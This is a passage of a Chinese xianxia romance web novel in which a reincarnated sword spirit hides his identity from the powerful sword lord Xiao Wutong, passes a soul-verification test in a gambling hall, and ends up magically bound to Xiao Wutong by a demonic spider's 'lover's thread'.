但朴长老为何会给一个关系不好的孩子做出如此牺牲?且住处隐隐还有魔气......
“爹!”忽然,一道尖利声音传来,计清徽闪身而至。
清徽宗主大喝一声,怒道:“你怎可如此没规没矩地冲进来?没看这还有客人在吗?”
计清徽管不了那么多,只道:“小玉出事了,他昏过去了!”
清徽宗主还没来得及说什么,就见到了萧无桐的身影原地消失了,这突发情况让他瞠目结舌,震惊道——
“所以他真的是想睡自己弟媳啊?这也太离经叛道了吧!”
计清徽:“?”
爹在说什么?
……
玉枝淮觉得经脉中像是有虫在咬。
细密的疼痛从指尖蔓延,他仿佛陷在一个噩梦中,昳丽的样貌上满是冷汗,素日里漂亮的眼眸紧闭着,却仍隐隐泛出幽蓝色。
就像书里隐藏在山间的大妖,诡异又迷人。
豹猫看着他这么痛苦,也觉得心如刀绞,但它什么也做不到,只能勉强替他遮挡那目前不该出现的幽蓝色。
忽然,它察觉到了一道令它厌烦的气息,当即匿在远处,小小的眉头皱起——
萧无桐怎么会来?
……
一道冰蓝色的光闪烁着,铃铛的声音在房内响起。
……谁在动我的梦铃?玉枝淮挣扎着睁开眼睛,想看看谁在动,可四肢百骸传来的虫咬实在过于痛苦,他只觉得有一双手掰住了自己的下颌——
熟悉的蜂蜜水中混着一点血气,玉枝淮无意识地咽了下去。
他喜欢喝各种小甜水,民间常常在蜂蜜水中加入各种水果,亦或别的干果,玉枝淮还是剑灵的时候很爱喝这些东西,小孩不爱喝药时,萧无桐会将丹药也混在小甜水里给玉枝淮喂下去。
因此,玉枝淮半点也没挣扎。
许是剧烈的痛苦让他分不清过去与现实,恍惚间他看到这里好像是他在阴墟的房间。
……是他小时候住的那个,不是少年时那个。
密密麻麻的虫咬之痛也在散去,玉枝淮终于有力气睁开眼睛,正好看到了萧无桐的那张脸。
小时候的屋子里总是会有各种不一样的糖人,每天起来都能看见各种各样的新衣,每一天都无忧无
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虑。
不像是少年时住的那个,总有各种训诫和规矩,和许多心事。
人在熟悉的环境中总会软弱、逃避,他看着面前的萧无桐,就好像过去那些年的针锋相对都不见了,眼前人又化作他少年时那个会手把手教他写字的人。
此刻,玉枝淮觉得自己是有很多话想说的,但千言万语却只化作一句带着嗔怒的斥责——
“……你为什么要吃别人喂给你的饭?”
萧无桐:“…………”
玉枝淮蓦然坐了起来,反正梦里的一切都不会存在,他抬手掐住萧无桐的脸,像个炸了毛的猫,道:“姓萧的,我告诉你,你不许吃别人给你喂的饭!你是我的剑尊,不是他们的!!而且你自己答应过我,你不吃别人喂的饭!”
萧无桐垂眸望着他,好似十分怀念他这无法无天的少年模样。
玉枝淮闹了一会又觉得头晕,脑袋一扭,倒在他肩头,开始不解地哼哼唧唧:“……为什么后来对我那么差呢,为什么不让我出门了呢?”
“……阿桐。”
玉枝淮猛然睁开眼睛,映入眼前的是一片灰绿色的床头,仍然是在清徽宗的房间里。
计清徽乐颠颠地凑了上来,“小玉,你怎么样了?有没有感觉好一些?”
玉枝淮愣了一下,随即仔细感受了一□□内疼痛,竟然都消失得差不多了。
只是不知下次会不会再犯。
“怎么回事?”他看向计清徽,心跳忽然快了一瞬,“有人来过?”
计清徽嘿嘿一笑,说:“我去找我爹爹,给你喂了一颗药,然后没多久你就醒了。”
玉枝淮一时间也说不上到底是失落还是庆幸,大病初愈后的苍白面容上出现一点笑意,“你还挺聪明的呀,谁说你傻了?”
计清徽坐了下来,又给他端茶倒水,问他还有没有哪里疼
一时间也不知到底谁才是少爷。
小小风波过去,翌日,两人出发前往鸿门大比。
鸿门大比在南方的玉虚海举行,那里是陶家的地盘,乃是一片奇异海岛。
海岛上方迷雾缭绕,只能通过陶家特有的航道与玉海飞船才能到达,入此地域,连钱财都得换成他们特有的“星玉币”。
星玉币是玉做成的钱币,摸起来温润如水,玉枝淮将掌心中的两颗玉币抛来抛去,显然是爱不释手。
计清徽出门时,依然带了一队护卫,他没有来过这里,神色中不免有些许紧张。
玉枝淮注意到了,就先把他带回了房间,同时也终于想起来自己好像忘了什么。
豹猫呢???
玉枝淮吹了个口哨,小小声地说:“猫儿?玉谬?去哪了你?”
话音刚落,虚空之中传来一道嗖声,豹猫瞬间出现在了他的肩头。
玉枝淮戏瘾大发,将他合身抱起:“你干什么去了?玉谬,我这大病初愈的,你也不来关心关心我?是不是不爱了?呜呜呜呜……”
若是往日里,受他如此蹂.躏,豹猫早就跑了,可如今,他抬起头,神色古怪地问:“你什么都不记得了?”
玉枝淮:“?”
他应该记得什么?
16. 过去
玉海飞船以青木作基,船顶是一片星空穹顶,玉枝淮漫不经心地倒在床上,翘着腿,看着天际那造出来的银河。
“猫儿,怎么你也向我打起谜语来了?有什么话直说呗。”
豹猫从胸口爬到他脸边,端坐着,狐疑地看着他,“你那天晕倒,一点知觉都没有?”
玉枝淮扭头看它,只看到它的两只小爪,顿时笑嘻嘻的说道:“别打哑谜了,快说吧。”
豹猫:“萧无桐来过你房间。”
房中顿时陷入一片长久的沉默,只见玉枝淮如梦初醒般,喃喃道:“他这是认出我了?”
怪不得会吃那块点心——如果萧无桐从一开始就认出了他,那他为什么不说?
他也不确定?
是了,剑灵和剑主的本命契断,萧无桐当然不确定这是他。
而且秦品玉有太多地方和他不一样了。
“我本来想过去看看他在做什么的,”豹猫闻言有点委屈地说,“但是我怕他发现我,就没过去,毕竟他都大乘期了……太可怕了,他进步这么神速做什么?”
玉枝淮嗤笑一声,却想起自己死前最后那段时间的事——
一百年前,阴墟萧家原本只是九大世家的中下游,直到仙盟发现世间竟有一步天那样的好地方,想将其中高级灵剑据为己有,却被剑窟外留下的天神阵法所反噬,死伤无数。
尽管如此,仙盟却没有放过这块肥肉,那时候的仙盟急缺资源,而这一步天中宝物众多。
于是,他们想出了一个办法,让九大世家中的精英弟子共同研究破阵,层层筛选,最终选出十二名青年。
剑修,符修,器修,丹修……齐聚世家之力,终于破掉第一层阵法,却不知道剑窟内也是龙潭虎穴,众多守剑兽以草木为阵,借力打力,用活物为引,声东击西,只为保护祖级剑灵。
慢慢的,十二人只剩下三人,而最终走到深处的只有一人。
那是萧家聚集数代人的心血,身上肩负复族大任的少年家主——萧无桐。
他十岁就择道剑修,天赋异禀,入剑窟时,年仅十八岁。
萧无桐爬上层层玉阶,穿过重重迷雾,最终在剑窟顶上的白玉台,看到了那个少年。
他看上去约莫只有十二三岁,周身散发着无数灵光,身形轻盈,在和剑窟壁画上的画中仙子玩。
壁画上,彩衣仙子们衣袂纷飞,轻绡飘飘,抱着玉瓶,笑盈盈的逗小剑灵,“小家伙,有人来了。”
小剑灵大抵是偷穿了仙子霓裳,青绿色的披帛乱七八糟差点把他卷成个漂亮的青玉瓶,闻言才扭头,那双冰蓝色的眼眸微动,看向来人——
萧无桐见他望了过来,掌心倏然收紧,呼吸微微急促,脸色瞬间好像蒸熟的虾。
那也是玉枝淮第一次看到萧无桐。
玉枝淮看着他,自己的耳根也微微发热,颇为好奇,这个人为什么看到他会脸红。
萧无桐显然不会解释,只道:“……你可以和我离开吗!”
出剑窟的路上,有一段泥泞路,那是被窟外的修士用法力炸出来的。虽然那修士最终被阵法反弹出去砸碎了一座山,但剑窟也受了伤害,最外围的路几乎不能赤脚行走。
于是,少年家主屈膝半跪,玉枝淮攀上他的肩,被他背出剑窟。
就此,二人成为一段脍炙人口的民间佳话,还演练出许多不同版本,有人说剑灵是需要被拯救的公主,也有人说萧无桐的人生是个烂大街的逆袭话本等等。
不过,虽然百姓众说纷纭,但有一个事实是不变的——
没落世家的少主因一个少年剑灵而一步升天,萧家一跃成为世家之首。
只因为这问天剑灵能操纵剑窟中所有的剑,而且剑灵选择了萧家。
这一百年里,萧家急速崛起,靠着好剑斩杀无数魔族,也引来无数忌恨。
而后,忌恨的人们在五十六年前终于发难,世家叛徒联合魔族封锁阴墟,斩杀百姓,仙盟却束手无策。
魔族那一次是铁了心要铲除玉枝淮和萧家,为此不惜折损八名大将,最终,玉枝淮跳入剑炉自焚而死,他气息断绝的那一瞬,一步天剑窟中众灵感知此事,齐齐震怒,千万道剑芒刺向魔族大军,破了魔族封锁萧家的阵法。
阵法破除以后,仙盟这才姗姗来迟。
阴墟百姓终于得救,世间却从此再无问天剑灵。
但很少有人知道,魔族兵临城下之时,萧无桐是不许他跳的。
“你这是阻碍我成为少年英雄的机会!”那时,玉枝淮瞪着面前的萧无桐,跟着他,喊道:“你就是不想让我比过你!我偏要跳!”
萧无桐猝然回首,掐住他的下巴,几乎目眦欲裂,“……玉枝淮,我告诉你,你要是敢偷偷跳下去,我会让你后悔永生永世,后悔这辈子竟敢离开我身边。”
玉枝淮冷笑一声,猛然推开他,盯着那双漆黑的眼睛,倔强道:“那你也得先抓得住我再说,你还没强到能囚禁我永生永世的份上!否则魔族不会兵临城下,而你没有办法救信奉我们的阴墟子民!他们的家已经不再长存,也会有更多的人失去家园——到时候要我们有什么用?!要我这问天剑灵有什么用!”
萧无桐倏然顿住。
玉枝淮却扭过头,不敢看他的目光,轻声说道:“而且,最开始不是你说的吗?反正剑灵也不是人……你、你先强大再说吧,你,你这辈子还不一定能有大乘期呢。”
……早知道就不把话说那么满了。
这下人家真修成大乘期了,而他回到了起点……不,并非起点,他甚至还倒退了。
他现在是个小废柴!
玉枝淮从回忆中回过神来,十分懊悔地把脸埋在豹猫肚子里,“鬼知道他进步神速干什么,反正我一定要打消他的怀疑,不能让他发现我就是玉枝淮。”
豹猫叹气,“那你打算怎么办?”
玉枝淮思考了一会儿。
如果萧无桐已经认出他的身份,按照他那个性格,他肯定不会让自己脱离他的掌控,所以……萧无桐或许也在这船上。
忽然,玉枝淮想到了什么,脑袋上冒出一个小灯泡——
“有了!”
……
玉海飞船地下三层是赌场,玉枝淮换了身衣服,简单乔装后,穿过三重楼梯,到达了一处紧闭着大门的地方。
门前挂着两盏鬼脸灯笼,光影阴森森的,内里隐隐能听到人的大喊大叫声。
“有了有了,买定离手,开!”
“哎呀,仙君,你又输了呢,你这五千仙币我就笑纳了。”
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“哈哈哈哈——我赢了!!我赢了!下回买药材的钱有着落了。”
豹猫万万没想到他说的有了是跑来赌场,当即冲着他耳朵大叫,“你学坏了,你怎么能来赌场?!不知道自己那破手气吗?”
以前在学院的时候,玉枝淮和时之音他们经常一起抽签入秘境练习,次次都抽到最凶险的。
打牌时,也是手气最差。
后来便有老师说他命中如此,这一点萧无桐也知道。
可在秦品玉记忆中,他却是与玉枝淮完全相反的。
玉枝淮哼笑一声,“就是因为逢赌必输,所以我才要让萧无桐看看,秦品玉是怎么赢的。”
豹猫:“……”
“而且,”玉枝淮眼神微闪,像是想到了什么人,“陶数应该在这吧?”
豹猫闻言先是愣了一下,随即下意识地说:“就是那个爱钱如命,掌管天下赌场的陶数?”
陶数,玉虚海主家的陶家嫡子,是个风流潇洒的符修,天下赌场皆在他手下管理,他有一符,名为天眼,乃是至宝,可在万里之内随意来回穿梭。
最重要的是,天眼还能照出灵魂,验明正身。
以前仙盟若有无法判定的夺舍之人,只需要将陶数唤来,拿出天眼一照,就会显出身体灵魂的本来面目。
豹猫自然也是知道他的,对他的印象只有此人左耳右耳都有金算盘耳坠,为此它还觉得此人俗气。
它也见识过天眼,自然知道那是个宝物。
豹猫:“你的意思是你现在进去,然后被陶数用天眼看到,他过来肯定会怀疑你的身份,然后在萧无桐面前验你的正身?你就不怕真被验出来啊?!”
玉枝淮噗嗤一笑,“我又不是自愿夺舍,验不出来的。”
说罢,他推开赌场大门——
场中有数百张赌桌,修士们三三两两地聚在某张赌桌旁,也有坐在法器上飞在空中看热闹的。此处本就背靠陶家,因此,赌场不仅合法,而且如果对赌出来的结果有争议,还能请陶家前来评判。
有人推门进来的那一瞬,星空顶上的穹光也刺了过去。
玉枝淮说是简单乔装,实则只是用术法将修为提到了假性的金丹期,也就是说在外人看来,他是个金丹期,但若实际对打,这谎言便会如同泡沫,一戳即破。
数十道目光凝聚在玉枝淮身上,有人嘶了声:
“这是谁家小美人?”
“嘶等等,眸含沧海色,眉缀一痕春……”
“玉枝淮?!!不对,玉枝淮已经死了!”
“是啊,玉枝淮死了多少年了?不可能是他,这人眼睛是用术法变换的吧?上次我还看见个粉眼睛的,结果一查,发现是用术法变的,哈哈哈……”
玉枝淮一袭青衣,眼眸泛蓝,额间缀着一颗浅绿色宝石,嘴角微微上扬,走向赌桌边。
与此同时,他的行踪也传入了有心之人的耳中。
陶家。
无数条挂着铃铛的白线从外部透入陶家主室,一名白衣青年仿佛透过这些铃铛听到了什么,抬起眼眸一看,只见他的右眼是常人,而左眼却是一枚白色玉珠,双耳皆坠金色算盘耳饰。
“玉枝淮?”陶数疑惑地喃喃,“不,小玉已经死了……是谁在恶作剧?”
17. 你,到底是谁
玉海赌场中,众人的目光各异地打量着面前这个酷似玉枝淮的小美人。
有修士自飞行灵器上下来,也有修士坐在空中灵兽上,将自己的目光隐藏在人群中,贪婪地看着这像是误入赌场的小白花。
玉枝淮唇边勾出一个微笑,径直走到天字牌赌桌,那怡然自得的模样仿佛来过无数次。
天字赌桌用的是最普通的骰宝玩法,由庄家甩宝,赌客拿出本金,选择押大押小,最后判定胜负。
而天字桌和地字桌的不同之处还有一点——赌桌上每位客人的影像都会显现在赌场上方的灵幕上,让整个赌场的人和主家都能看见,因此极易出名。
“小美人儿,这桌可是二十金币起押,”身着白衣的庄家笑眯眯的凑到他面前,摊开手掌,只见他的掌心中放着两枚泛着灵光的玉骰,“确定要在这一桌?”
玉枝淮择了个位置坐下,抬起那双水蓝色的眼眸看了他一眼,声音如同闷热夏夜的微风拂面,“是啊,难不成我不能玩啊?”
灵幕上顿时显出他的脸,场中又是一阵喧哗,有修士拧着眉头,“这眼睛不像是假的,难不成玉枝淮真夺舍回来了?”
“依照我之见,长得其实还有点不一样的——当年我见过那玉枝淮一面,那叫一个肆意妄为,轻狂自傲,神台上没有观音神像,他就自己坐上去,让大家求他,萧无桐根本管不住。”
“毕竟是一步天之主,又正当年少,自傲一些也无妨……你们听说过吗?当年可是几百人都想入一步天之内,但最终只有萧无桐进去了,还把他成功带出来了,没被阵法劈死。”
赌坊中客人众多,却也不是人人都见过这一步天之主的,大多是从前史上听来,而其中更为出众的其实是他和萧无桐之间那似主非主、似夫似妻的关系,以及那套流转甚广的一步天话本。
“自然可以,”话又说回赌桌之上,庄家搓了搓手,看着这双蓝色的眼睛,有点警惕的问,“你可曾有过什么持鞭的主人?”
玉枝淮:“?”
似乎是觉得前一句话问得颇为委婉,但为了自身安全,庄家又问了一次:“没有在阴墟学院读过书吧?端木陵游、江彻宇、陶数、宇文星恒、时之音、萧无桐——不是你的好友吧?”
最后他似乎还考虑到了一些超前的问题,加了一句,“玉枝淮也不是你娘亲吧?”
玉枝淮眼神一呆:“???”
这略带懵懂的表情又被灵幕直转,连带着庄家的话也落入无数双耳朵中,众人忍不住大笑出声,也有新生修士十分疑惑,“他这在报菜名呢?这六人是谁?”
“噗哈哈哈哈!!!”
“不愧是招牌庄家,做人就是谨慎!!”
“怎么还考虑到了话本里的生子问题!”
“所以这几人到底是谁?”
“这个我知道,”有好心人解释,“阴墟学院大家都听说过吧?这几人凑合起来就是阴墟七曜,而最小的那个小幺,就是玉枝淮——听说当年这小子第一次进赌场被骗的耳坠都没了,其他人一听那还得了,直接去把这一整条黑赌场线给取缔了,不然你以为为什么会有赌场合法这一说?”
“要知道以前民间赌场如果拿不出银子来,要宰手宰脚、还有的以妻儿代偿,但从玉枝淮那事以后就不会了,庄家基本都被仙家中人取代了……总的来说也是幸事一桩,最后,竹某人在这提醒诸位,小赌怡情可以,大赌可是伤身呐!远离大赌!”
……
似乎觉得庄家的话有些好玩,玉枝淮神情微微一滞,好像想起了什么有趣的事,紧接着,他眼眸一动,笑嘻嘻地说:“你说的那些,都没有——可以开始了吗?”
话音落下的那一瞬,庄家摇了摇手中的铃,噔的一声,桌上场景蓦然变化,只见整个空间变得如同水墨色,牌桌骤然变矮几寸,赌客的声音渐渐变小,只听得到庄家摇骰子的声音。
玉枝淮坐在桌前,翘起脚,将手肘微微靠在膝上,垂眸看着桌子上的一切。
数十个骰子盅一起摇动,像战场上的兵刃交接之声,为的是干扰赌客的注意力。
庄家声音如同鬼魅:“压大压小?”
玉枝淮:“大。”
——话音刚落,砰的一声。骰盒自动翻开,众人一看,桌上竟然真是清一色的大!
也就是这一瞬,牌桌上也生出无数以灵力铸造的金桃花,在玉枝淮脚下盛开至腰身。这也是玉海赌场的小心思之一,金桃花们团成一团团,将赢者包在其中,此谓‘香金绕身、财富自来’,寓意美人与钱财,尽在怀抱。
玉枝淮脸上仍然带着笑,却让人觉得他的笑并不发自真心,他微微一抬眼皮,见到对面输掉的赌客身旁被黑白墨色的花包裹,那些人好像从花中看到了什么可怕的景色,脸色发白起来,就好像血色都被抽到了对面的香金身上。
黑白墨花向输家呈现家破人亡、妻离子散的幻象,让他们看清现实,不再参赌。
玉枝淮轻吐出一口气,知道他们在里面看到了什么,他并没有沉溺在这些虚幻的香金中,只是眯起眼睛,掩藏在衣袍下的手指也慢慢比出数字,仿佛运筹帷幄的谋士——
“三。”
“二。”
“一。”
“何人在此装神弄鬼,假扮小玉?”
一道阴沉的男声从天际落下,坠着算盘耳坠的白衣男人倏然出现在赌桌前。
玉枝淮下意识地后退了一步,这动作落到众人眼里,和心虚没什么差别。
“啊?”有人困惑地问,“真是假扮的?”
“哈哈哈哈,小骗子,骗到陶家头上来了,不知道陶数和玉枝淮是好朋友吗!”
“陶数还有天眼……这下可是踢到铁板了。”
“不对,来的好像不止陶数?”
“黑乌赤金……仙盟重明阁的阁主,那个阵修江彻宇?”
的确不止一人,玉枝淮不动声色地看着陶数身旁罩着黑鸟面具的黑袍青年,这人只露出一双赤金色的眼睛。
玉枝淮眯起眼睛,哎呀一声,故作不解:“你们是谁?”
“你是谁。”鸟面具青年问他,声音没有任何起伏。
玉枝淮抬手摸了摸眉间坠子,“回答问题前不应该先自报姓名吗——再说了,你们认不出我吗?”
陶数眯起眼睛,打量着他,天眼玉珠微微一动,却没有发动,好
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像在等他的答话。
鸟面具青年:“我乃仙盟重明阁阁主,负责巡查仙家。你,是谁?”
……什么?!江彻宇进了规矩诸多的仙盟?他不是最爱自由吗?!玉枝淮心下大惊,面上却不显,而是捧着脸,用一种绝不像他的语气问,“不够明显吗?”
“矫揉造作。”陶数抬手抠出自己的天眼玉珠,“我倒要看看你是何方妖怪。”
尽管早有预料,玉枝淮还是有许多年没见过他这天眼的用法了,吓了一跳。
“且慢。”忽然,一道略微阴郁的声音再度响起,只见灵幕之上,玉枝淮身后不知何时出现一个手持长鞭、神色慢条斯理的黑袍青年,青年长发高束,俊秀面容上神色淡淡。
他缓步而来,站在桌边,抬起那双漆黑的眸盯着对面的陶数和江彻宇,指尖却按在了玉枝淮后颈上——
江彻宇眉头一皱,“萧无桐。”
陶数掌心中的玉珠正在放出血色灵力,在掌心疯狂旋转,闻言抬眸盯着萧无桐。
——没有比这更可怕的事了,玉枝淮瞬间悚然,被按住的后颈起了一层薄汗,根本不知道萧无桐什么时候在自己身后的。
灵幕之下的人仿佛在看一场豪门大戏,困惑无比:
“……这是话本里面那个萧无桐?看着好渗人,根本不像背负复族大任的少年英雄啊!”
“萧无桐为什么会来?”
“据说被天眼映照后,如果这人是夺舍而来,就会让人生不如死,严重的甚至会当场魂飞魄散……可是邪门歪道夺舍就是该死啊,奇怪,萧无桐什么时候管这种闲事了?”
……
陶数抬眸,捏着那枚玉珠,淡淡的对萧无桐道:“我会开最轻,但小玉毕竟不算邪魔,若真是他,玉珠不会弄死他。”
玉枝淮默默扭头看向萧无桐,假装惊讶,“啊?兄长?你怎么在这?”
萧无桐神色阴沉,眼神里似乎有惊疑不定滑过。
“他为什么叫你兄长。”江彻宇像个木偶般问。
玉枝淮抬头,朝着江彻宇眨了眨右眼,一副轻挑、又调戏人的模样,“你把面具取下来我就告诉你呀。”
话音刚落,玉枝淮忽然感觉自己后背上那只手变得有点阴冷,冻得他忍不住一抖,悄悄看了眼萧无桐。
萧无桐似乎也在斟酌该不该验,指尖微微收紧,不知是害怕还是期待。
陶数却已经替二人做了决定,掌心玉珠蓦然变成拳头大小,落在了玉枝淮的面前——
玉枝淮:“啊!你们在做什么?!”
玉枝淮抬手挡住玉珠,像是害怕被拆穿,演技精湛的朝着萧无桐道,“兄长,这两人是你叫来的吗?”
这副模样落在所有人眼里,都觉得他是心虚,陶数更是自嘲一笑。
玉珠并非手指就能挡住,仍然在转——这一点玉枝淮也知道,他要的就是这个效果。
若是用现代的话来说,陶数就是世上最权威的鉴定人是否被邪魔夺舍的机构,这是萧无桐都得信的结果。
玉枝淮心底忍不住先生出了微妙的得意——
下一秒,玉珠停下了。
众人一同抬眸望去。
18. 被强行绑定
萧无桐的神色让人分不清他脸上的到底是期待还是恐惧。
玉枝淮敏锐地察觉到自己后颈上的那只手收回了,他难得地在萧无桐眼中也看到惊疑不定的神色。
……果然,玉枝淮心想,他之前果然在怀疑我。
“啊?!他真的不是玉枝淮!”
灵幕上,随着天眼玉珠不断旋转,最后出现的虚影是一个黑眸少年,那是秦品玉的原身,场中见状先是响起几句质疑,而后质疑声渐渐变大。
“他不是玉枝淮,那他是谁?”
“怎么以前没在修仙界听过这号人物?”
陶数一时间也不知是喜是悲,重新将天眼塞回眼里,叹了口气,喃喃道,“我就知道,以他的性格,怎么可能做得出这种事……”
江彻宇的神色被掩盖在面具之下,只能看到那对古井无波的眼,他转过身,身形一闪,原地留下一小根羽毛,然后消失不见了。
见他们都离开,自己的目标也已达到,玉枝淮这两日心中隐隐浮现的不安感终于褪去,他颇为惊讶地看向萧无桐和陶数,故作疑虑,“你们在怀疑什么呀?”
陶数抬手撤了灵幕,抱拳道,“今日冒犯了,算我欠你一人情,来日若有难处,可找我兑现。”
天眼大多时候看的都是有罪之人,如今他不分青红皂白就出手,自然不占理。玉枝淮笑道,“所以……你们是怀疑,我是你们的某位故友吗?”
陶数点点头,并未多言,身形也一闪,离开了。
灵幕撤去,赌场中的人也各自回去做自己的事了,只剩萧无桐还眯着眼睛,审视着面前近在咫尺的少年。
“你最好不要骗我。”忽然,萧无桐微微探身,声音仿若寒冰,“否则,我不会放过你。”
骤然拉近的距离让玉枝淮闻到了萧无桐身上那寒冷的檀木气息,玉枝淮后背的冷汗仍未散去,他今日这一招用的实在是太险,这还要源于以前在学院时,陶数醉酒后和他批判家族之事,才让他无意间得知了天眼这个小bug。
天眼对于生前主动夺舍的邪魔外道或者手沾恶之因果的仙族不会放过,但他会放过那些非主动夺舍、身上又无恶因的魂魄亦或半魂。
“我听不懂兄长在说什么,”玉枝淮抬起眼眸,那双灵动的眼眸直直撞进了萧无桐漆黑的眼底——
“……但兄长下次还是不要胡乱摸我了,我是你弟的未婚妻。”
玉枝淮说着,抬手摸了摸后颈皮,总觉得那里还残留着萧无桐指尖剑茧的触感,他最讨厌萧无桐这双手,戴着扳指时会冻得他回神,不带扳指时,那层薄茧又硌到他。
萧无桐不语,仍然没有将目光从他身上移开,似乎还在怀疑他。
玉枝淮也不在意了,反正陶数的答案会被今日看见灵幕的人口口相传,不论是怀疑他身份的,还是没有怀疑他身份的,都只需知道他‘不是’玉枝淮就行了。
他觉得萧无桐也不敢把他怎样……
“你再提一次这个名分,我就让他去死。”
头顶倏然落下萧无桐的声音,玉枝淮震惊地抬头,“……什么!?”
萧无桐微微一笑,却无端的让人觉得他的笑很冷,“本座说到做到,魔渊的魔物正喜欢吃这种年轻又没用的废物。”
玉枝淮不可置信,“他又没有犯什么错,你怎么能……”
求情的话还没说完,先前赌桌边那些被黑白墨花缠绕的赌客们终于回过神来,其中一人神情呆滞,只见他的眼下全是乌黑,嘴唇也变得发紫,不断的翕动着,“完了……都完了……”
玉枝淮敏锐察觉这人有些不对,下意识扭头望过去,而萧无桐也察觉了某种特殊气息,猝然回眸——
刹那间那人身上骤然冒出大量黑烟,活生生从中间分裂开来,从中爬出一只八脚巨眼紫瞳魔蛛!这蜘蛛原本只有半人高,只一个眨眼,又扩大到了原来的十几倍!
无数的紫色蛛丝从它的口中吐出,顷刻间赌场中发出一阵阵惊叫,玉枝淮差点被这蜘蛛吓个半死,正要摘梦铃定住物体时,又意识到不可暴露身份,只好拽住了萧无桐的袖子。
……苍天在上,他最讨厌这种多脚的东西了!而且这里怎么会出现魔物?!
萧无桐眉心皱起,下意识将人护至身后,掌心中也出现一道长鞭,脚尖轻点,跃至空中,长鞭带着雷霆之势甩向那蜘蛛的头,磅礴的灵力威压如瀑布直下,生生将那巨蛛压得不再动弹。
一切只不过发生在瞬间,被吐了满头蛛丝的修士们只觉得自己倒霉,又忍不住抬头看那一招制敌的剑尊。
“好帅!!”
“这里怎么会有这么大的蜘蛛?紫瞳,是魔族之物吗?”
“它的脚怎么在动……”
“啊啊啊不对,剑尊,它是装死!!”
装死的蜘蛛突然睁开眼睛,尽管脑袋被长鞭束缚着,却还是以迅雷不及掩耳之势吐出一道蛛丝刺向萧无桐的手臂——
玉枝淮瞳孔一缩,单手成势,冰蓝色灵光穿风而去,打断了那蛛丝的攻击,然而令所有人都没想到的是,这蜘蛛丝竟攀上那道灵光,迅速缠上了灵光的主人!
它的动作倒也快,也许是想着死前反咬一口,蛛丝生生缠住了玉枝淮的右手手臂,又缠上了萧无桐的左臂——
砰!
也就是这一瞬间,长鞭猛然将它的脑袋扭下,令它无法再指挥蛛丝动弹。
玉枝淮蹙着眉头,看了一眼手上的蛛丝,这到底是哪来的魔物,怎么和他以前遇到的不一样?
萧无桐显然对此还是有些了解,灵力又一次镇压住蜘蛛乱动的八腿,却没有彻底杀掉。
有跃跃欲试前来帮忙的修士正要以剑戳死蜘蛛时,被萧无桐阻止了,“此乃魔渊高阶魔物,已生出异变,若是弄死导致它自爆,毒液会毁了无辜之人的灵脉。”
灵脉对于修士而言简直是最重要的东西,那人当即收回手不敢动了,看向萧无桐那只手臂,“那您这……要不要叫个大夫看看?!”
萧无桐淡淡的扫了他一眼:“聒噪。滚。”
目睹一切的玉枝淮嘴角一抽,心说这死驴脾气怎么这么多年也没改,仙盟到底怎么把獬豸门门主的位置
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给他的……
那人被噎得莫名其妙,只觉得剑尊和传闻中果然一模一样,然后不再多问了,跑去看伤亡情况。
玉枝淮瞅了萧无桐一眼,想起过往自己也被他说,当即忍不住刺他两句,“我要是他,我就骂你不知好歹。”
萧无桐垂头看了眼将二人手臂缠到一起的蛛丝,忽然道,“你方才在我身后做了什么,导致它反扑?”
大乘期修士也是人,并不会身后多长两只眼睛,所以并没看到玉枝淮那道给萧无桐挡蛛丝的冰蓝灵光。
玉枝淮眼神飘忽,“没做什么。”
萧无桐一看就知道他没说实话,也没追究,只道:“不要做无谓的事情。”
玉枝淮眼眸倏然睁大,当即不说话了,而萧无桐安排收拾残局的人也来了。
獬豸门的人匆匆赶到,处理这只巨大的魔蛛,萧无桐的仙侍也抓着名医修赶了过来。
两刻钟之后,玉海飞船最高层,天际黑云涌动,绚烂的星光透过顶窗落下,撒了一室星光。
黑衣医修身上绣了个阴墟二字,显然是萧家门下的专用医修,他看了一眼将两人缠在一起的蛛丝,斟酌了会,抬头看看这个,又看看那个——
萧无桐坐在主位,没被束缚的另一只手端着杯清茶,不喝,纯装。
玉枝淮则离了他有半米远,可这已经是蛛丝能到达的最大极限。
“这是情人丝。”医修一锤定音。
萧无桐端茶的手突然一顿。玉枝淮也瞪大了眼睛,扭头看向那庸医,高声道:“什么?!”
医修却缓缓解释:“那只魔蛛是近些年才生出的异变,体内蛛丝分为两种,一种是帮助它狩猎,含满腐蚀灵脉毒液的蛛丝,另一种则是这根粉红的蛛丝了——它脑子不过豌豆大,分不清爱意,常常会将人乱绑。”
萧无桐:“可对人的灵脉有害处?”
医修挠挠头,心说,他记得他们家主都大乘期了,这种东西又伤不到他的灵脉,突然问这个干什么?
萧无桐声音陡然严厉:“哑巴了?”
多年以来对剑尊的恐惧早已刻入肺腑,医修闻言噗通跪下,战战兢兢地说:“没,没有,就是……短期之内,你和这位小公子,无法分开。”
玉枝淮发出了第二声尖叫:“什么?!!”
萧无桐淡然无比,继续用茶盖刮茶叶,仿佛心情颇为愉悦。
玉枝淮就苦恼了,他跑过去抓住那医修的袖子,“不能分开吗?没有别的办法吗?你知不知道我是谁?我不能和你家家主这么一直拴着的,会让人误会!”
室内只有星光作陪,未燃烛光,医修方才还没瞧清他的样貌,如今一看,暗暗倒吸一口凉气,道:“这、这我也没有办法。”
亲娘哎,家主玩的真花!居然养了个替身,还都这么大了!
玉枝淮闻言啪叽一下倒回桌上,心如死灰的吐出一抹幽魂,看上去下一秒就要变成液体猫饼,流到地上去了。
呜呜,该死的魔物!他接下来要和萧无桐这个神经病绑在一起了!到底是谁派来的那魔物啊?
19. 同床共枕
室内弥漫着玉枝淮的心碎气息,或许是医修看他可怜,绞尽脑汁想了想,又说,“还有一法。”
玉枝淮原本灰暗的眸子瞬间亮了,急忙爬起来,“什么方法?”
萧无桐则淡淡的扫了眼那医修,将茶杯放下了,冷冷的盯着这个碍事的人。
医修恍若未闻,顶着巨大的压力说,“此物既名为情人丝,就定然要做些情人间的事,双修至兴处,可解。”
玉枝淮闻言陡然炸毛:“……你这个庸医!”
修你个大头鬼,还得至兴处?!意思是做得不高兴还解不了是吧?!
医修尴尬的抬手摸了摸发热的脸皮,“书上是这么说的。”
玉枝淮冷笑一声,心说你这书正经吗?别是从什么话本上看的吧?
这话尚未出口,萧无桐开口了,玉枝淮扭头一看,此人竟然皱着眉头,冷声斥道,“胡闹。三书未成,六礼不备,如何能双修?”
医修当即羞赧地低下头,还是他们家主想的周到,“是,是,家主说得对!是我想的太简单了,我还有一法,情人丝在察觉两人足够亲密之时,也会解开,比如同床共枕,但中间隔楚河汉界,这样是无妨的。”
玉枝淮:“……”说来说去就是他俩得睡一起?
